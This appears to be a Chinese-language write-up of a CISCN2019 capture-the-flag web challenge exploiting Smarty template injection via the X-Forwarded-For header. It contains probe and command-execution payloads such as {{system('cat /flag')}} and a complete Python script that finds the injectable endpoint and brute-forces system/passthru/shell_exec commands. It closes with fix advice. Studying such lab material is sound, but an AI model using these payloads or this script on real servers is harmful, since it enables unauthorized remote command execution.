CISCN2019 华东南赛区 Web11:Smarty SSTI 题解

一、题目信息

题目页面特征:

  • 标题为 A Simple Public IP Address API
  • 页面提示 Build With Smarty
  • 暴露接口包括 /api/xff

从页面信息可以初步判断,这道题和 X-Forwarded-For 请求头以及 Smarty 模板渲染有关。

二、漏洞分析

1. 可控输入点

题目提供 /xff 接口,业务语义是读取客户端来源 IP。常见实现方式是从 X-Forwarded-For 请求头取值,然后展示到页面中。

如果后端将请求头中的值直接拼接进模板字符串,再交给模板引擎渲染,就可能触发 SSTI,也就是服务端模板注入。

2. 模板引擎识别

页面中出现:

1
Build With Smarty

说明后端使用的是 Smarty 模板引擎。Smarty 语法和常见的 Jinja2、Twig 不完全一样,因此 payload 需要围绕 Smarty 的表达式和函数调用方式构造。

3. 利用思路

整体思路如下:

1
控制 X-Forwarded-For -> 探测模板表达式 -> 尝试命令执行 -> 读取 flag

探测 payload 可以从以下几类开始:

1
2
3
4
{{$smarty.version}}
{2*5}
{{2*5}}
{php}echo 2333;{/php}

如果响应中出现 Smarty 版本、计算结果或明显回显,就说明输入进入了模板渲染流程。

三、关键利用过程

脚本自动测试了多个端点:

1
2
3
/
/api
/xff

通过对不同端点发送不同的 X-Forwarded-For 值,判断响应是否发生变化,从而筛选出可能存在注入的位置。

命令执行阶段使用类似 payload:

1
2
{{system('id')}}
{{system('cat /flag')}}

当模板表达式被执行后,即可读取目标文件。

四、自动化脚本

下面脚本用于自动探测端点、发送 SSTI payload,并尝试读取 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
import requests

BASE = "http://target"
ENDPOINT_CANDIDATES = ["/xff", "/", "/api"]

session = requests.Session()
session.timeout = 10

probe_payloads = [
"{{$smarty.version}}",
"{2*5}",
"{{2*5}}",
"{php}echo 2333;{/php}",
]

rce_templates = [
"{{system('%s')}}",
"{system('%s')}",
"{{passthru('%s')}}",
"{passthru('%s')}",
"{{shell_exec('%s')}}",
"{shell_exec('%s')}",
]

commands = [
"id",
"ls",
"ls /",
"cat /flag",
"cat /flag.txt",
"cat flag",
"cat /var/www/html/flag",
"find / -name '*flag*' 2>/dev/null | head -n 5",
]

FLAG_RE = re.compile(r"(flag\{.*?\}|ctf\{.*?\}|FLAG\{.*?\})", re.S)
TARGET = None


def send_xff(payload):
if TARGET is None:
return None, "[!] target is not initialized"

headers = {
"User-Agent": "Mozilla/5.0",
"X-Forwarded-For": payload,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}

try:
resp = session.get(TARGET, headers=headers, timeout=10)
return resp.status_code, resp.text
except Exception as e:
return None, f"[!] request error: {e}"


def pick_target():
marker_a = "1.1.1.1"
marker_b = "2.2.2.2"

for path in ENDPOINT_CANDIDATES:
url = f"{BASE}{path}"
try:
r0 = session.get(url, timeout=10)
if r0.status_code != 200:
continue

h1 = {"X-Forwarded-For": marker_a, "User-Agent": "Mozilla/5.0"}
h2 = {"X-Forwarded-For": marker_b, "User-Agent": "Mozilla/5.0"}
r1 = session.get(url, headers=h1, timeout=10)
r2 = session.get(url, headers=h2, timeout=10)

if marker_a in r1.text or marker_b in r2.text:
print(f"[+] 发现 XFF 反射端点: {url}")
return url

if r1.text != r2.text:
print(f"[+] 发现可疑端点: {url}")
return url
except Exception:
continue

return None


def main():
global TARGET
TARGET = pick_target()
if not TARGET:
print("[-] 未自动找到可用注入端点")
return

print(f"[+] Target: {TARGET}")

ssti_ok = False
for payload in probe_payloads:
code, text = send_xff(payload)
print(f"payload={payload!r}, status={code}")
if code and text:
if "2333" in text or "smarty" in text.lower():
ssti_ok = True
if re.search(r"(^|[^0-9])10([^0-9]|$)", text):
ssti_ok = True
match = FLAG_RE.search(text)
if match:
print("[+] FLAG:", match.group(1))
return

if not ssti_ok:
print("[!] 未明显探测到 SSTI,继续尝试 RCE payload")

for template in rce_templates:
for command in commands:
payload = template % command.replace("'", r"\'")
code, text = send_xff(payload)
print(f"template={template!r}, command={command!r}, status={code}")

if not code or not text:
continue

match = FLAG_RE.search(text)
if match:
print("[+] FLAG:", match.group(1))
return

print("[-] 暂未直接获取 flag")


if __name__ == "__main__":
main()

使用时修改:

1
BASE = "http://target"

然后运行:

1
python3 solve.py

五、经验总结

这道题的关键经验:

  • 看到 X-Forwarded-For 时,要注意请求头是否被后端信任并展示。
  • 看到 Build With Smarty 时,要优先想到 Smarty SSTI。
  • 注入点不一定只在明显的 /xff 接口,也可能在首页或 API 中。
  • 自动化脚本可以做“多端点 + 多 payload + 多命令”组合,提高命中率。

六、修复建议

真实业务中应避免这类问题:

  • 不要将请求头直接作为可信输入。
  • 用户可控内容只作为模板变量传入,不要拼接进模板代码。
  • 对输出内容做 HTML 编码。
  • 生产环境关闭模板错误回显和调试信息。
  • 对代理头如 X-Forwarded-For 做可信代理校验。

七、总结

本题通过 X-Forwarded-For 控制输入,并利用 Smarty 模板渲染触发 SSTI,最终通过模板函数调用读取 flag。它的价值不只是拿到结果,更重要的是帮助理解请求头、模板引擎和服务端渲染之间的安全边界。